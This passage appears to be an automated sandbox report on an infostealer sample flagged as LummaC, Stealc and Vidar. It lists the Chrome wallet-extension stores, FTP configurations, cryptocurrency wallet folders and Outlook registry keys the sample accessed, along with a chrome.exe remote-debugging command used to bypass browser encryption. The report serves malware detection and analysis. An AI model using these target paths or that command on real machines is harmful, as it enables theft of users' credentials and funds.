Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN

Source: Yara match	File source: 00000017.00000003.2807718354.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2845222111.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2825273881.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2825364278.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2844405676.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2889037273.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2807917547.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2469878623.0000000001552000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2883051277.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2469725408.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 7944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 6956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 7236, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 7944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 6956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 7236, type: MEMORYSTR
Source: Yara match	File source: 13.2.c3e1e78f6d.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2857025061.0000000005910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2609138087.0000000005010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2160637336.0000000000751000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2897720480.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2670475440.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2486797329.00000000017DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2485790355.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2444697974.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1838467283.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2899998365.0000000001C32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 82b4c5cad2.exe PID: 6208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 82b4c5cad2.exe PID: 2368, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	871 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
